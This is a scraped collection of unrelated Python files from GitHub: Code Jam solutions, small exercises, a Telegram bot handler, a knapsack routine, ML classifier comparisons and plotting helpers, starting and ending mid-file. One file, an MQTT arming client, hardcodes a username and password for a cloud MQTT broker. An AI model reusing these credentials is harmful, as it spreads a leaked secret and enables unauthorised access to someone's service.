##f1=open(r'C:\\Users\\mumin\\Documents\\gcj\\A-large.in','r')\n ##f2=open(r'C:\\Users\\mumin\\Documents\\gcj\\A-large.out','w')\n numofcases = int(f1.readline()[:-1])\n linenum = 0\n while linenum < numofcases:\n linenum += 1\n line = f1.readline()\n n = int(line[:line.find(' ')])\n m = int(line[line.find(' ')+1:-1])\n cboard = [[False] * n for i in range(n)]\n xboard = [[False] * n for i in range(n)]\n for i in range(m):\n line = f1.readline()\n mem = line[:-1].split(' ')\n if mem[0] == '+':\n cboard[int(mem[1])-1][int(mem[2])-1] = True\n elif mem[0] == 'x':\n xboard[int(mem[1])-1][int(mem[2])-1] = True\n elif mem[0] == 'o':\n cboard[int(mem[1])-1][int(mem[2])-1] = True\n xboard[int(mem[1])-1][int(mem[2])-1] = True\n cfb = cfill(cboard)\n xfb = xfill(xboard)\n changes = []\n score = 0\n for row in range(n):\n for col in range(n):\n score += xboard[row][col] + cboard[row][col] + xfb[row][col] + cfb[row][col]\n if cfb[row][col]:\n if xboard[row][col] or xfb[row][col]:\n changes.append('o {} {}'.format(row+1, col+1))\n else:\n changes.append('+ {} {}'.format(row+1, col+1))\n elif xfb[row][col]:\n if cboard[row][col]:\n changes.append('o {} {}'.format(row+1, col+1))\n else:\n changes.append('x {} {}'.format(row+1, col+1))\n f2.write('Case #{}: {} {}\\n'.format(linenum, score, len(changes)))\n for change in changes:\n f2.write(change + '\\n')\n\n f1.close()\n f2.close() \n\nif __name__ == '__main__':\n main()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_202/96.py","file_name":"96.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71149376194","text":"# Exercise # 02 Solution and understanding\r\n\r\nimport time\r\n\r\nt = time.strftime('%H : %M : %S')\r\n\r\nprint(t)\r\nhour = int(time.strftime('%H'))\r\n\r\nhour = int(input(\"Enter Hours : \"))\r\n\r\n# print(hour)\r\n\r\nif(hour>=6 and hour<12):\r\n print(\"Good Morning!!!\")\r\n\r\nelif(hour>=12 and hour<15):\r\n print(\"Good AfterNoon !!!\")\r\n\r\nelif(hour>=15 and hour<18):\r\n print(\"Good Evening!!!\")\r\n\r\nelif(hour>=18 and hour<23):\r\n print(\"Good Night!!!\")\r\n\r\nelif(hour>=0 and hour<4):\r\n print(\"Good Night!!!\")","repo_name":"owaisnadeem18/Python_Zero_To_Hero","sub_path":"Day - 26/Day-26_python.py","file_name":"Day-26_python.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23424771821","text":"# f = open('B-small-attempt1.in')\nf = open('B-large.in')\ncount = int(f.readline())\noutput = ''\nfor x in range(1,count + 1):\n arr = f.readline().split()\n cost = float(arr[0])\n production = float(arr[1])\n goal = float(arr[2])\n\n # max = int(goal/cost)\n # min = 0\n # mid = max/2\n time = 0.0\n fcount = 0\n if production * goal / cost - 2 <= 0:\n time = goal/2\n else:\n fcount = int((production * goal / cost - 2)/production)\n\n for y in range(0,fcount+1):\n if y == fcount:\n time += goal / (fcount * production + 2)\n else:\n time += cost/(2+y*production)\n\n\n output += 'Case #' + str(x) + ': '+str(time)+'\\n'\n\n\nprint(output)\nnewf = open('output.txt','w')\nnewf.write(output)\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/2399.py","file_name":"2399.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"6027315185","text":"\nfrom pyrogram import Client, filters\nfrom pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton\nfrom RaiChu.config import BOT_NAME as bn\nfrom Process.filters import other_filters2\nfrom time import time\nfrom datetime import datetime\nfrom Process.decorators import authorized_users_only\nfrom RaiChu.config import BOT_USERNAME, ASSISTANT_USERNAME\n\nSTART_TIME = datetime.utcnow()\nSTART_TIME_ISO = START_TIME.replace(microsecond=0).isoformat()\nTIME_DURATION_UNITS = (\n (\"week\", 60 * 60 * 24 * 7),\n (\"day\", 60 ** 2 * 24),\n (\"hour\", 60 ** 2),\n (\"min\", 60),\n (\"sec\", 1),\n)\n\n\nasync def _human_time_duration(seconds):\n if seconds == 0:\n return \"inf\"\n parts = []\n for unit, div in TIME_DURATION_UNITS:\n amount, seconds = divmod(int(seconds), div)\n if amount > 0:\n parts.append(\"{} {}{}\".format(amount, unit, \"\" if amount == 1 else \"s\"))\n return \", \".join(parts)\n\n\n@Client.on_message(other_filters2)\nasync def start(_, message: Message):\n await message.reply_text(\n f\"\"\"**I ᴀᴍ 𝘽𝙤𝙩 𝘿𝙪𝙣𝙞𝙮𝙖 𝙈𝙪𝙨𝙞𝙘 \nʙᴏᴛ ʜᴀɴᴅʟᴇ ʙʏ [KIGO](https://t.me/INSANE_BOTS)\nThanks to add me 😇**\n \"\"\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n \"Handle\", url=\"https://t.me/Shubhanshutya\"\n ),\n InlineKeyboardButton(\n \"𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐋𝐢𝐬𝐭\", callback_data=\"cbbasic\"\n ),\n InlineKeyboardButton(\n \"How to add me🤷\", callback_data=\"cbhowtouse\"\n ),\n ],[\n InlineKeyboardButton(\n \" 𝐒𝐮𝐩𝐩𝐨𝐫𝐭👿\", url=\"https://t.me/godzilla_chatting\"\n ),\n InlineKeyboardButton(\n \"𝐔𝐩𝐝𝐚𝐭𝐞𝐬\", url=\"https://t.me/INSANE_BOTS\"\n )\n ],[\n InlineKeyboardButton(\n \"➕ 𝐀𝐝𝐝 𝐌𝐞 𝐓𝐨 𝐘𝐨𝐮𝐫 𝐆𝐫𝐨𝐮𝐩➕\",\n url=f\"https://t.me/{BOT_USERNAME}?startgroup=true\",\n )\n ]\n ]\n ),\n disable_web_page_preview=True\n )\n","repo_name":"AMANTYA1/RaiChu","sub_path":"RaiChu/Player/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"}
+{"seq_id":"23466593251","text":"#!/usr/bin/python\r\n# cat testset.in | ./main.py > testset.out\r\n# type testset.in | C:\\Python34\\python.exe a.py > testset.out\r\nimport math\r\nimport sys\r\n\r\n\r\ndef main():\r\n t = int(sys.stdin.readline())\r\n for c in range(1, t + 1):\r\n sys.stdout.write(\"Case #\" + str(c) + \": \")\r\n\r\n (x, r, c) = map(int, tuple(sys.stdin.readline().split()))\r\n # min and max length of an L shaped piece\r\n lmax = math.ceil(float((x-1))/2.0) + 1\r\n lmin = math.floor(float((x-1))/2.0) + 1\r\n\r\n # Special cases - for faster processing\r\n if ( ((r*c) % x != 0) # area not evenly divisible\r\n or (lmin > r or lmin > c) # L shaped piece (short side) won't fit on board \r\n or (lmin == r and lmax > c) # L shaped piece (long side) won't fit on the board\r\n or (lmin == c and lmax > r) \r\n or (x > 7) # create a donut piece\r\n or (x == 4 and r == 2) # use an s piece, which will devide the board into two halves with odd units\r\n or (x == 4 and c == 2)\r\n ):\r\n print(\"RICHARD\")\r\n continue\r\n\r\n if x <= 4:\r\n print(\"GABRIEL\") \r\n continue\r\n\r\n # General case\r\n print(\"UNKNOWN x={0}, r={1}, c={2}\".format(x, r, c))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/965.py","file_name":"965.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32684574961","text":"#!/usr/bin/env python3\n\nimport sys\n\ndef main():\n for line in sys.stdin:\n line = line.strip()\n alpha = 'abcdefghijklmnopqrstuvwxyz'\n for c in line.lower():\n if c in alpha:\n alpha = alpha.replace(c, '')\n if alpha == '':\n print ('pangram')\n else:\n print (f'missing {alpha}')\n\nif __name__ == '__main__':\n main()\n","repo_name":"thomashazekamp/CA117","sub_path":"lab-exam01/pangram_061.py","file_name":"pangram_061.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"30000272319","text":"import functools\r\n\r\n\r\ndef knapsack_dyn_ints(w, weights, values):\r\n weights, values = zip(*[(w, v) for w, v in zip(weights, values) if v > 0]) # filters out items with no value\r\n print(weights, values)\r\n print()\r\n bestVals = [0 for _ in range(w + 1)] # index is the actual weight in this case\r\n bestItems = [[[]] for _ in range(w + 1)]\r\n\r\n # at each weight you need to store the max value achieved and the combo of items that got you there\r\n\r\n for weight in range(w + 1):\r\n bestVal = bestVals[weight - 1]\r\n bestCombos = bestItems[weight - 1]\r\n for item in range(len(weights)):\r\n if weight - weights[item] < 0:\r\n continue\r\n\r\n if not bestItems[weight-weights[item]]:\r\n bestItems[weight-weights[item]] = [[]]\r\n for combo in bestItems[weight-weights[item]]:\r\n comboVal = bestVals[weight-weights[item]]\r\n if item not in combo:\r\n comboVal += values[item]\r\n if comboVal == bestVal:\r\n if combo + [item] not in bestCombos:\r\n bestCombos.append(combo + [item])\r\n if comboVal > bestVal:\r\n bestCombos = [combo + [item]]\r\n bestVal = comboVal\r\n bestVals[weight] = bestVal\r\n bestItems[weight] = bestCombos\r\n\r\n print(bestItems)\r\n print(bestVals)\r\n print()\r\n\r\n print(bestItems[bestVals.index(bestVals[-1])])\r\n print(bestVals[-1])\r\n\r\n","repo_name":"nkadiadrian/Dynamic-Knapsack-Problem","sub_path":"knapsack problem.py","file_name":"knapsack problem.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"41950938882","text":"import paho.mqtt.client as mqtt\nimport random\nfrom time import sleep\n\nclass Communicator(object):\n def __init__(self):\n self._channel = 'arming'\n self._client = mqtt.Client('whack-{}'.format(random.randint(0, 100000)))\n self.is_armed = True\n self.last_msg = None\n\n self._client.on_message = self._on_message\n self._client.username_pw_set('yctweqrz', '7exM74SXFRjX')\n self._client.connect(\"m15.cloudmqtt.com\", 16481)\n sleep(1.0)\n self._client.subscribe(self._channel)\n\n self._client.loop_start()\n\n self._i = 0\n\n\n def _on_message(self, client, userdata, message):\n msg = str(message.payload.decode('utf-8'))\n self.last_msg = msg\n print(\"Message on MQTT\", msg)\n if 'Armed' in msg:\n self.is_armed = True\n elif 'Disarmed' in msg:\n self.is_armed = False\n else:\n print(\"Unable to decipher message\")\n\n def send_message(self, switch_on:bool, people_present:bool):\n msg = \"{} {}\".format('Armed' if (switch_on and people_present) else 'Disarmed', self._i)\n self._i += 1\n self._client.publish(self._channel, msg, qos=1)\n\nif __name__ == '__main__':\n com = Communicator()\n\n import sys\n if sys.argv[1] == 'subscribe':\n print('subscribing')\n while True:\n print(com.is_armed, com.last_msg)\n sleep(1)\n else:\n print('publishing')\n while True:\n com.send_message(True, True)\n sleep(2)\n com.send_message(False, False)\n sleep(2)\n","repo_name":"OlinSibbSquad/oh-shoot","sub_path":"mqtt_lib.py","file_name":"mqtt_lib.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"3450529083","text":"# run this script file concurrently with 9 threads\nimport os\nfrom GN import GN\nfrom bhcd import BHCD\nfrom experiment_two_level import evaluate, InfoClusterWrapper\nimport bhcd_parameter\n\nimport runner\nrunner.NUM_TIMES = 20\nMETRIC = 'dendrogram_purity'\n\ndef initialize_alg(alg_name):\n if(alg_name == 'info-clustering'):\n return InfoClusterWrapper()\n elif(alg_name == 'gn'):\n return GN()\n elif(alg_name == 'bhcd'):\n return BHCDWrapper()\n else:\n raise NotImplementedError(alg_name + ' not found')\n\ndef reproduce_z_in_1(alg_name_list, metric):\n Z_IN_2 = 3\n Z_O = 1\n Z_IN_1_MIN = 10\n Z_IN_1_MAX = 15\n\n for alg_name in alg_name_list:\n alg = initialize_alg(alg_name)\n report_list = runner.collect_z_in_1_evaluate(alg, Z_IN_2, Z_O, Z_IN_1_MIN, Z_IN_1_MAX, metric)\n runner.save_to_file(report_list, 'z_in_1', runner.NUM_TIMES, metric, alg_name, Z_IN_2, Z_O, Z_IN_1_MIN, Z_IN_1_MAX)\n\ndef reproduce_z_in_2(alg_name_list, metric):\n Z_IN_1 = 13\n Z_O = 0.5\n Z_IN_2_MIN = 2\n Z_IN_2_MAX = 5\n for alg_name in alg_name_list:\n alg = initialize_alg(alg_name)\n report_list = runner.collect_z_in_2_evaluate(alg, Z_IN_1, Z_O, Z_IN_2_MIN, Z_IN_2_MAX, metric)\n runner.save_to_file(report_list, 'z_in_2', runner.NUM_TIMES, metric, alg_name, Z_IN_1, Z_O, Z_IN_2_MIN, Z_IN_2_MAX)\n\ndef reproduce_z_o(alg_name_list, metric):\n Z_IN_1 = 14\n Z_IN_2 = 3\n Z_O_MIN = 0.25\n Z_O_MAX = 2\n for alg_name in alg_name_list:\n alg = initialize_alg(alg_name)\n report_list = runner.collect_z_o_evaluate(alg, Z_IN_1, Z_IN_2, Z_O_MIN, Z_O_MAX, metric)\n runner.save_to_file(report_list, 'z_o', runner.NUM_TIMES, metric, alg_name, Z_IN_1, Z_IN_2, Z_O_MIN, Z_O_MAX)\n\nclass BHCDWrapper(BHCD):\n def __init__(self):\n super().__init__(restart=bhcd_parameter.restart,\n gamma=bhcd_parameter.gamma, _lambda=bhcd_parameter._lambda, delta=bhcd_parameter.delta)\n\nif __name__ == '__main__':\n alg_list = ['info-clustering', 'gn', 'bhcd']\n if os.environ.get('NUM_TIMES'):\n runner.NUM_TIMES = int(os.environ['NUM_TIMES'])\n if os.environ.get('METRIC'):\n METRIC = os.environ['METRIC']\n reproduce_z_in_1(alg_list, METRIC)\n reproduce_z_in_2(alg_list, METRIC)\n reproduce_z_o(alg_list, METRIC)\n","repo_name":"zhaofeng-shu33/hierarchical-community-detection","sub_path":"reproduce_experiment.py","file_name":"reproduce_experiment.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"72295111234","text":"from sklearn.metrics import accuracy_score\n\ndef apply_linear_regression(X_train, Y_train, X_test, Y_test):\n from sklearn.linear_model import LogisticRegression\n clf = LogisticRegression(penalty='l2', C=0.1)\n print(\"[*] Training...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"LogisticRegression accuracy: \",accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test,predicted)\n print(\"LogisticRegression Report: \", report)\n # show_confusion_matrix(Y_test, result.predict(X_test))\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n # plot_roc_curve(clf, X_test, Y_test)\n # plot_precision_recall_curve(clf, X_test, Y_test)\n return accuracy\n\n\ndef show_confusion_matrix(y_test, y_pred):\n from sklearn.metrics import confusion_matrix, classification_report\n from matplotlib import pyplot as plt\n conf_mat = confusion_matrix(y_true=y_test, y_pred=y_pred)\n labels = ['Clean', 'Leak']\n # print(\"confusion matrix:\\n\", conf_mat)\n # print(\"Report:\", classification_report(y_test, y_pred))\n fig = plt.figure()\n ax = fig.add_subplot(111)\n cax = ax.matshow(conf_mat, cmap=plt.cm.Blues)\n fig.colorbar(cax)\n ax.set_xticklabels([''] + labels)\n ax.set_yticklabels([''] + labels)\n plt.xlabel('Predicted')\n plt.ylabel('Actual')\n plt.show()\n\ndef label_show_confusion_matrix(y_test, y_pred):\n from sklearn.metrics import ConfusionMatrixDisplay, confusion_matrix\n from matplotlib import pyplot as plt\n\n labels = ['Clean', 'Leak']\n\n # print(\"Report:\", classification_report(y_test, y_pred))\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ConfusionMatrixDisplay(confusion_matrix(y_pred, y_test, labels=[0,1]), display_labels=labels).plot(values_format=\".0f\", ax=ax,cmap=plt.cm.Blues)\n plt.xlabel('Predicted')\n plt.ylabel('Actual')\n plt.show()\n\ndef plot_roc_curve(clf, X_test, y_test):\n from sklearn import metrics\n import matplotlib.pyplot as plt\n metrics.plot_roc_curve(clf, X_test, y_test)\n plt.show()\n\ndef plot_precision_recall_curve(clf, X_test, y_test):\n from sklearn import metrics\n import matplotlib.pyplot as plt\n metrics.plot_precision_recall_curve(clf, X_test, y_test)\n plt.show()\n\ndef apply_naive_bayes(X_train, Y_train, X_test, Y_test):\n from sklearn.naive_bayes import GaussianNB\n clf = GaussianNB()\n print(\"[*] Training NB...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Naive-Bayes accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Naive-Bayes Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n\n return accuracy\n\n\ndef apply_linear_SVC(X_train, Y_train, X_test, Y_test):\n from sklearn.svm import LinearSVC\n clf = LinearSVC(random_state=0)\n print(\"[*] Training SVM...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"LinearSVC accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"LinearSVC Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_K_Neighbors_Classifier(X_train, Y_train, X_test, Y_test):\n from sklearn.neighbors import KNeighborsClassifier\n clf = KNeighborsClassifier(n_neighbors=3)\n print(\"[*] Training KNN...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"KNeighbors accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"KNeighbors Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Ridge_Classifier(X_train, Y_train, X_test, Y_test):\n from sklearn.linear_model import RidgeClassifier\n clf = RidgeClassifier(alpha=0.7)\n print(\"[*] Training RC...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Ridge Classifer accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Ridge Classifier Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Bagged_Decision_Tree(X_train, Y_train, X_test, Y_test):\n from sklearn.ensemble import BaggingClassifier\n clf = BaggingClassifier(n_estimators=100)\n print(\"[*] Training BDT...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Bagged Decision Tree accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"BDT Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Random_Forest(X_train, Y_train, X_test, Y_test):\n from sklearn.ensemble import RandomForestClassifier\n clf = RandomForestClassifier(n_estimators=100, max_features='sqrt')\n print(\"[*] Training RF...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Random Forest accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Random Forest Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Gradient_Boosting(X_train, Y_train, X_test, Y_test):\n from sklearn.ensemble import GradientBoostingClassifier\n clf = GradientBoostingClassifier(learning_rate=0.1, max_depth=9, n_estimators=1000, subsample=1.0)\n print(\"[*] Training SGB...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Gradient Boosting accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Gradient Boosting Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\ndef smote_over_sampling(X, y):\n from imblearn.over_sampling import SMOTE\n smote = SMOTE(sampling_strategy='minority')\n X_sm, y_sm = smote.fit_resample(X, y)\n return X_sm, y_sm\n\n\ndef apply_different_smote(X, y):\n X_smt, y_smt = smote_over_sampling(X, y) ##////////////Simple Smote\n X_train, X_test, y_train, y_test = randomize_dataset(X_smt, y_smt)\n return apply_different_model(X_train, y_train, X_test, y_test)\n\ndef apply_different_model(X_train, y_train, X_test, y_test):\n nb = apply_naive_bayes(X_train, y_train, X_test, y_test)\n sv = apply_linear_SVC(X_train, y_train, X_test, y_test)\n knr = apply_K_Neighbors_Classifier(X_train, y_train, X_test, y_test)\n lr = apply_linear_regression(X_train, y_train, X_test, y_test)\n rc = apply_Ridge_Classifier(X_train, y_train, X_test, y_test)\n bdt = apply_Bagged_Decision_Tree(X_train, y_train, X_test, y_test)\n rf = apply_Random_Forest(X_train, y_train, X_test, y_test)\n sgb = apply_Gradient_Boosting(X_train, y_train, X_test, y_test)\n return nb, sv, knr, lr, rc, bdt, rf, sgb\n\ndef randomize_dataset(X, Y):\n \"\"\" Randomly split the dataset in training and testing sets\n \"\"\"\n n = len(Y)\n train_size = int(0.8 * n)\n index = list(range(n))\n print(n, train_size, index)\n from random import shuffle\n shuffle(index)\n train_index = sorted(index[:train_size])\n test_index = sorted(index[train_size:])\n\n X_train = X[train_index, :]\n X_test = X[test_index, :]\n Y_train = Y[train_index]\n Y_test = Y[test_index]\n # print(\"train=\", len(Y_train))\n # print(\"test=\", len(Y_test))\n return X_train, X_test, Y_train, Y_test\n\ndef apply_smote_ML(X_smt, y_smt):\n nb_list = []\n sv_list = []\n knr_list = []\n lr_list = []\n rc_list = []\n bdt_list = []\n rf_list = []\n sgb_list = []\n for i in range(10):\n nb, sv, knr, lr, rc, bdt, rf, sgb = apply_different_smote(X_smt, y_smt)\n nb_list.append(nb)\n sv_list.append(sv)\n knr_list.append(knr)\n lr_list.append(lr)\n rc_list.append(rc)\n bdt_list.append(bdt)\n rf_list.append(rf)\n sgb_list.append(sgb)\n import matplotlib.pyplot as plt\n # print('NB=', nb_list)\n # print('SV=', sv_list)\n # print('KNN=', knr_list)\n # print('LR=', lr_list)\n # print('RC=', rc_list)\n # print('BDT=', bdt_list)\n # print('RF=', rf_list)\n # print('SGB=', sgb_list)\n plt.plot(nb_list)\n plt.plot(sv_list)\n plt.plot(knr_list)\n plt.plot(lr_list)\n plt.plot(rc_list)\n plt.plot(bdt_list)\n plt.plot(rf_list)\n plt.plot(sgb_list)\n plt.title('Model Accuracy')\n plt.ylabel('Accuracy')\n plt.xlabel('Iteration')\n plt.legend(['Naive-Bay', 'Linear SVC', 'K-NearNeighbor', 'Logistic Regression', 'Ridge Classifier', 'Bagged Decision Tree', 'Random Forest', 'Stochastic Gradient Boosting'])\n plt.show()\n\n\n","repo_name":"umkhanqta/MLPWakeLock","sub_path":"MLAlgo.py","file_name":"MLAlgo.py","file_ext":"py","file_size_in_byte":10162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"16703153089","text":"import datetime\n\nimport pandas as pd\nimport plotly.graph_objects as go\nimport plotly.express as px\n\npower_bi_colors = [\n \"#3f37c9\", # Blue\n \"#FF6C00\", # Orange\n \"#007f5f\",\n \"#7B00B4\", # Purple\n \"#FF0000\", # Red\n \"#6A007F\", # Dark Purple\n \"#fdd85d\", # Yellow\n \"#0077b6\", # Light Blue\n \"#aacc00\", # Green\n \"#495057\", # Gray\n]\n\nmetric_div_1 = \"\"\"\n
\n \n
\n
{value}
\n
\n
\n\"\"\"\n\nmetric_div = \"\"\"\n
\n \n
\n
{value}
\n
\n
\n\"\"\"\n\n\ndef kpi_widget(label, value):\n return metric_div.format(label=label, value=value)\n\n\ndef pre_process_data(data: pd.DataFrame):\n data[\"DaysRemainingColor\"] = data[\"DaysRemainingCode\"].map({\n \"Red\": \"#e76f51\",\n \"Yellow\": \"#e9c46a\",\n \"Green\": \"#52b788\"\n })\n return data\n\n\ndef opportunities_table(data: pd.DataFrame, columns: list):\n data = format_date_column(data)\n table_data = data[columns]\n table_data.rename(columns={\n \"Awarding_Agency\": \"Awarding Agency\",\n \"Days_to_ResponseDeadline\": \"Days Remaining\",\n \"Description link\": \"URL\",\n \"NAICSCodeDesc\": \"NAICS\",\n \"Set_Aside_Type\": \"Set Aside\",\n \"Score\": \"ECS Rating\",\n \"Posted_Date\": \"Posted Date\"\n }, inplace=True)\n table_data[\"URL\"] = table_data[\"URL\"].apply(lambda x: f\"\"\"Visit\"\"\")\n fig = go.Figure(data=[go.Table(\n columnwidth=[2, 2, 2, 1, 1, 1, 2, 1, 1],\n header=dict(\n values=list(table_data.columns),\n font=dict(size=14, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['center'],\n height=80\n ),\n cells=dict(\n values=[table_data[K].tolist() for K in table_data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color=['#f5ebe0', '#f5ebe0', '#f5ebe0', '#f5ebe0',\n data[\"DaysRemainingColor\"].values, '#f5ebe0'],\n align=['center'],\n height=80\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500)\n return fig\n\n\ndef forecast_table(data: pd.DataFrame, columns: list):\n data = format_date_column(data)\n table_data = data[columns]\n table_data.rename(columns={\n \"Recipient Name\": \"Incumbent Name\",\n \"naics_description\": \"Description\",\n \"Award Amount\": \"Current Award Amount\",\n \"PastAwards_URL\": \"URL\"\n }, inplace=True)\n table_data[\"Current Award Amount\"] = table_data[\"Current Award Amount\"].apply(format_currency_label)\n table_data[\"URL\"] = table_data[\"URL\"].apply(lambda x: f\"\"\"Visit\"\"\")\n fig = go.Figure(data=[go.Table(\n columnwidth=[1, 1, 1, 2, 1, 1, 1, 1, 1, 1],\n header=dict(\n values=list(table_data.columns),\n font=dict(size=14, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['left', 'center'],\n height=80\n ),\n cells=dict(\n values=[table_data[K].tolist() for K in table_data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color='#f5ebe0',\n height=80\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500)\n return fig\n\n\ndef awards_table(data: pd.DataFrame, columns: list):\n data = format_date_column(data)\n table_data = data[columns]\n table_data.rename(columns={\n \"AwardAmount_Binned\": \"Award Size\",\n \"PastAwards_URL\": \"URL\"\n }, inplace=True)\n table_data[\"Award Amount\"] = table_data[\"Award Amount\"].apply(format_currency_label)\n table_data[\"URL\"] = table_data[\"URL\"].apply(lambda x: f\"\"\"Visit\"\"\")\n fig = go.Figure(data=[go.Table(\n columnwidth=[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],\n header=dict(\n values=list(table_data.columns),\n font=dict(size=14, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['left', 'center'],\n height=80\n ),\n cells=dict(\n values=[table_data[K].tolist() for K in table_data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color='#f5ebe0',\n height=80\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500)\n return fig\n\n\ndef current_opportunities_kpis(data: pd.DataFrame):\n total_opportunities = data[\"Notice_ID\"].nunique()\n days_to_respond = data[\"Days_to_ResponseDeadline\"].mean()\n count_positive_ecs = len(data[data[\"Score_Mapped\"] == \"Positive\"])\n count_green = len(data[data['DaysRemainingCode'] == \"Green\"])\n\n return total_opportunities, days_to_respond, count_positive_ecs, count_green\n\n\ndef competitor_kpis(data: pd.DataFrame):\n total_past_awards = data[\"generated_internal_id\"].nunique()\n six_million_above = len(data[\n (data[\"AwardAmount_Binned\"] == \"6-12 million\") |\n (data[\"AwardAmount_Binned\"] == \"12+ million\")])\n award_amount = data[\"Award Amount\"].sum()\n return total_past_awards, six_million_above, award_amount\n\n\ndef bar_scatter_chart(data: pd.DataFrame, bar_X: str, bar_Y: str, bar_name: str,\n scatter_X: str, scatter_Y: str, scatter_name, title):\n fig = go.Figure()\n fig.add_trace(\n go.Bar(\n x=data[bar_X],\n y=data[bar_Y],\n name=bar_name,\n marker_color=\"#094780\",\n text=data[bar_Y]\n )\n )\n fig.add_trace(\n go.Scatter(\n x=data[scatter_X],\n y=data[scatter_Y],\n mode=\"lines+markers+text\",\n name=scatter_name,\n line=dict(color='#ff4d6d', width=4),\n marker=dict(color='#ff4d6d', size=10),\n text=round(data[scatter_Y],1),\n textposition=\"top left\",\n textfont=dict(color='#ff4d6d', size=18)\n )\n )\n fig.update_layout(title=title, height=600, showlegend=False, xaxis_title=bar_X, yaxis_title=\"Count\",\n hovermode=\"x unified\",\n hoverlabel=dict(\n 